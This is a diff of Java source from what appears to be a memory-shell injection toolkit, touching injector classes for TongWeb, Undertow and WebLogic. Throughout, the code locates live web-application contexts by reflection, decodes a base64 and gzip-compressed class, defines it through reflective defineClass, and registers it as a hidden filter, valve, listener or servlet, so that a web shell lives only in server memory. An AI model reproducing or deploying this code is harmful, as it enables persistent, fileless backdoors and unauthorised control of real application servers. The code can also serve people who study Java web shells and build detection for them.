||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -81,7 +113,6 @@ public class TongWebListenerInjector {
|
||||
List listeners = Arrays.asList(objects);
|
||||
for (Object o : listeners) {
|
||||
if (o.getClass().getName().contains(getClassName())) {
|
||||
System.out.println("listener already injected");
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -101,6 +132,11 @@ public class TongWebListenerInjector {
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
@@ -145,7 +181,7 @@ public class TongWebListenerInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@@ -193,4 +229,19 @@ public class TongWebListenerInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+72
-30
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class TongWebValveInjector {
|
||||
|
||||
public TongWebValveInjector() {
|
||||
try {
|
||||
Set<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getShell(context);
|
||||
inject(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -33,6 +24,45 @@ public class TongWebValveInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public TongWebValveInjector() {
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -64,23 +94,28 @@ public class TongWebValveInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object valve) throws Exception {
|
||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||
if (isInjected(pipeline)) {
|
||||
System.out.println("valve already injected");
|
||||
return;
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object v : valvesList) {
|
||||
if (v.getClass().getName().contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Class valveClass = null;
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
@@ -97,22 +132,13 @@ public class TongWebValveInjector {
|
||||
}
|
||||
}
|
||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
System.out.println("valve injected successfully");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object pipeline) throws Exception {
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object valve : valvesList) {
|
||||
if (valve.getClass().getName().contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
@@ -159,7 +185,7 @@ public class TongWebValveInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -187,4 +213,20 @@ public class TongWebValveInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+67
-17
@@ -4,6 +4,7 @@ import javax.servlet.DispatcherType;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
@@ -14,17 +15,7 @@ import java.util.zip.GZIPInputStream;
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class UndertowFilterInjector {
|
||||
public UndertowFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -38,6 +29,45 @@ public class UndertowFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public UndertowFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -67,20 +97,21 @@ public class UndertowFilterInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
System.out.println("filter already injected");
|
||||
return;
|
||||
}
|
||||
Class<?> filterInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.FilterInfo");
|
||||
@@ -91,7 +122,6 @@ public class UndertowFilterInjector {
|
||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
|
||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
||||
System.out.println("filter inject success");
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
@@ -110,6 +140,11 @@ public class UndertowFilterInjector {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
@@ -154,7 +189,7 @@ public class UndertowFilterInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@@ -196,4 +231,19 @@ public class UndertowFilterInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+71
-29
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.undertow;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -17,16 +18,45 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class UndertowListenerInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public UndertowListenerInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
@@ -65,21 +95,30 @@ public class UndertowListenerInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
public void inject(Object context, Object listener) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
System.out.println("listener already injected");
|
||||
return;
|
||||
List<?> allListeners = (List<?>) getFieldValue(getFieldValue(getFieldValue(context, "deployment"), "applicationListeners"), "allListeners");
|
||||
if (allListeners != null) {
|
||||
for (Object allListener : allListeners) {
|
||||
Class<?> l = (Class<?>) getFieldValue(getFieldValue(allListener, "listenerInfo"), "listenerClass");
|
||||
if (l != null) {
|
||||
if (l.getName().contains(getClassName())) {
|
||||
return ;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Class<?> listenerInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.ListenerInfo");
|
||||
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
|
||||
@@ -88,25 +127,13 @@ public class UndertowListenerInjector {
|
||||
Class<?> managedListenerClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.core.ManagedListener");
|
||||
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
|
||||
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
|
||||
System.out.println("listener inject success");
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context) throws Exception {
|
||||
List<?> allListeners = (List<?>) getFieldValue(getFieldValue(getFieldValue(context, "deployment"), "applicationListeners"), "allListeners");
|
||||
if (allListeners != null) {
|
||||
for (Object allListener : allListeners) {
|
||||
Class<?> listener = (Class<?>) getFieldValue(getFieldValue(allListener, "listenerInfo"), "listenerClass");
|
||||
if (listener != null) {
|
||||
if (listener.getName().contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
@@ -152,7 +179,7 @@ public class UndertowListenerInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -181,4 +208,19 @@ public class UndertowListenerInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -40,7 +40,6 @@ public class UndertowServletHandlerAgentInjector implements ClassFileTransformer
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -61,6 +60,7 @@ public class UndertowServletHandlerAgentInjector implements ClassFileTransformer
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
|
||||
+67
-17
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.undertow;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -17,17 +18,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class UndertowServletInjector {
|
||||
|
||||
public UndertowServletInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object servlet = getShell(context);
|
||||
inject(context, servlet);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -41,6 +32,45 @@ public class UndertowServletInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public UndertowServletInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -69,15 +99,17 @@ public class UndertowServletInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
public void inject(Object context, Object servlet) throws Exception {
|
||||
@@ -85,7 +117,6 @@ public class UndertowServletInjector {
|
||||
Object managedServlets = invokeMethod(deploymentImpl, "getServlets", null, null);
|
||||
Object servletHandler = invokeMethod(managedServlets, "getServletHandler", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
if (servletHandler != null) {
|
||||
System.out.println("servlet already injected");
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -100,7 +131,11 @@ public class UndertowServletInjector {
|
||||
Object servletPaths = invokeMethod(deploymentImpl, "getServletPaths", null, null);
|
||||
Object data = invokeMethod(servletPaths, "setupServletChains", null, null);
|
||||
setFieldValue(servletPaths, "data", data);
|
||||
System.out.println("servlet inject success");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -147,7 +182,7 @@ public class UndertowServletInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@@ -195,4 +230,19 @@ public class UndertowServletInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+68
-26
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.weblogic;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -14,6 +15,8 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class WebLogicFilterInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
@@ -27,15 +30,42 @@ public class WebLogicFilterInjector {
|
||||
}
|
||||
|
||||
public WebLogicFilterInjector() {
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
Object[] contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public static Object[] getContextsByMbean() throws Throwable {
|
||||
@@ -117,7 +147,7 @@ public class WebLogicFilterInjector {
|
||||
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
||||
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
||||
*/
|
||||
public static Object[] getContext() {
|
||||
public static Set<Object> getContext() {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||
@@ -127,7 +157,7 @@ public class WebLogicFilterInjector {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
return webappContexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
@@ -141,22 +171,26 @@ public class WebLogicFilterInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
System.out.println("filter already injected");
|
||||
return;
|
||||
Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters");
|
||||
for (Object obj : filters.keySet()) {
|
||||
if (obj.toString().contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
||||
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
|
||||
@@ -166,18 +200,11 @@ public class WebLogicFilterInjector {
|
||||
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
|
||||
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
|
||||
filterPatternList.add(0, currentMapping);
|
||||
System.out.println("filter inject successful");
|
||||
}
|
||||
|
||||
